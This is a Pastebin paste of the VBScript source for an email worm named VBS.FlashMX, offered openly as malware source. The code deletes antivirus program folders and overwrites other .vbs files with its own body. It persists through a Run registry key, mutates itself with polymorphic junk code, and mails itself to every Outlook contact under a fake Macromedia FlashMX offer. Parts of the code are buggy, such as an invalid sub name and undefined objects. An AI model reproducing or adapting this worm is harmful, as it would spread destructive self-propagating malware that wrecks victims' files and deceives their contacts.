Advertisement
FlyFar

Email-Worm.VBS.Anled - Source Code

Jun 20th, 2023
2,173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 3.81 KB | Cybersecurity | 0 0
  1. ' Virus Name : VBS.FlashMX
  2. ' Author     : Dr Virus Quest
  3. ' Created    : 21st June 2002
  4. ' Origin     : Malaysia
  5.  
  6. On Error Resume Next
  7. Set F = CreateObject("Scripting.FileSystemObject")
  8. Set W = CreateObject("Wscript.Shell")
  9. Set OpenSelf = F.OpenTextFile(Wscript.ScriptFullName, 1)
  10. Self = OpenSelf.Readall
  11. Set Wfolder = F.GetSpecialFolder(0)
  12. main()
  13.  
  14. sub main()
  15.   Execute K("�����������")
  16.   Function K(YLCG)
  17.   For I=1 to Len(YLCG)
  18.   K=K & Chr(Asc(Mid(YLCG,I,1)) Xor 218)
  19.   Next
  20. End sub
  21.  
  22. sub Anti-AV()
  23.   If F.FolderExists("C:\Program files\Norton AntiVirus") then
  24.     F.FolderDelete("C:\Program files\Norton AntiVirus")
  25.   End If
  26.   If F.FolderExists("C:\Program files\AVP") then
  27.     F.FolderDelete("C:\Program files\AVP")
  28.   End If
  29.   If F.FolderExists("C:\Vbuster") then
  30.     F.FolderDelete("C:\Vbuster")
  31.   End If
  32.  
  33.   If Time() = "12:00:00" Then
  34.     MsgBox "Your Macromedia Flash need to be updates! Please connected to internet for auto installation. Click OK after connected to internet.", vbOKOnly & vbExclamation, "Auto-Installation"
  35.   End If
  36.   Infection()
  37. End sub
  38.  
  39. sub Infection()
  40. For each F1 in Wfolder.Files
  41.  ExtName = F.GetExtensionName(F1.path)
  42.  If (ExtName="vbs") then
  43.    Set OF = F.OpenTextFile(F1.path, 2, True)
  44.    OF.WriteLine Self
  45.    OF.Close
  46.  End If
  47. Next
  48. Folder1 = W.SpecialFolders("AllUsersDesktop")
  49. For Each Files1 in Folder1
  50.  ExtName1 = F.GetExtensionName(Files1.path)
  51.  If (ExtName1 = "vbs") then
  52.    Set OF1 = F.OpenTextFile(Files1.path, 2, True)
  53.    OF1.WriteLine Self
  54.    OF1.Close
  55.  End If
  56. Next
  57. Set Sysfolder = F.GetSpecialFolder(1)
  58. F.CopyFile Wscript.ScriptFullName, Sysfolder & "\FlashMX.vbs"
  59. W.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Startup", Sysfolder & "\FlashMX.vbs"
  60.  
  61. If ws.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
  62.   Outlook()
  63. End if
  64.  
  65. On Error Resume Next
  66. Set fso = CreateObject("Scripting.FileSystemObject")
  67. Set f = fso.OpenTextFile(WScript.ScriptFullName, 1)
  68. AllCode = f.Readall
  69. FOR o = 1 TO LEN(AllCode)
  70. IF Mid(AllCode, o, 1) = vbCr THEN x = x + 1
  71. NEXT
  72. Set f = fso.OpenTextFile(WScript.ScriptFullName, 1)
  73. FOR i = 1 TO (x + 1)
  74. LineCode = f.Readline
  75. For j = 1 To Int(Rnd * 30): JunkCode = JunkCode & Chr(255 - Int(Rnd * 200)): Next
  76. PolyCode = PolyCode & LineCode & Chr(39) & JunkCode & vbCr
  77. If Int(Rnd * 3) = 2 Then PolyCode = PolyCode & Chr(39) & JunkCode & vbCr
  78. JunkCode = ""
  79. IF LineCode = "" THEN EXIT FOR
  80. LineCode = ""
  81. NEXT
  82. Set f = fso.OpenTextFile(WScript.ScriptFullName, 2, True)
  83. f.Writeline PolyCode
  84. End sub
  85.  
  86. Function Outlook()
  87. Set OutlookA = CreateObject("Outlook.Application")
  88. If OutlookA = "Outlook" Then
  89.   Set Mapi=OutlookA.GetNameSpace("MAPI")
  90.   Set AddLists=Mapi.AddressLists
  91.   For Each ListIndex In AddLists
  92.   If ListIndex.AddressEntries.Count <> 0 Then
  93.     ContactCountX = ListIndex.AddressEntries.Count
  94.     For Count= 1 To ContactCountX
  95.     Set MailX = OutlookA.CreateItem(0)
  96.     Set ContactX = ListIndex.AddressEntries(Count)
  97.     msgbox contactx.address
  98.     Mailx.Recipients.Add(ContactX.Address)
  99.     'msgbox contactx.address
  100.    'Mailx.Recipients.Add(ContactX.Address)
  101.    MailX.To = ContactX.Address
  102.     MailX.Subject = "From Macromedia"
  103.     MailX.Body = vbcrlf&"Macromedia is launching it's new product, FlashMX. And now giving out FREE copy of the FlashMX. Simply copy the file into your previous Macromedia Flash directory and run it from there."&vbcrlf
  104.     Set Attachment=MailX.Attachments
  105.     Attachment.Add dirsystem & "\FlashMX.vbs"
  106.     Mailx.Attachments.Add(dirsystem & "\FlashMX.vbs")
  107.     Mailx.Attachments.Add(dirsystem & "\FlashMX.vbs")
  108.     Mailx.Attachments.Add("C:\WINDOWS\Start Menu\Programs\StartUp\FlashMX.vbs")
  109.     MailX.DeleteAfterSubmit = True
  110.     If MailX.To <> "" Then
  111.       MailX.Send
  112.     End If
  113.     WS.regwrite "HKCU\software\An\mailed", "1"
  114.     Next
  115. End If
  116. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement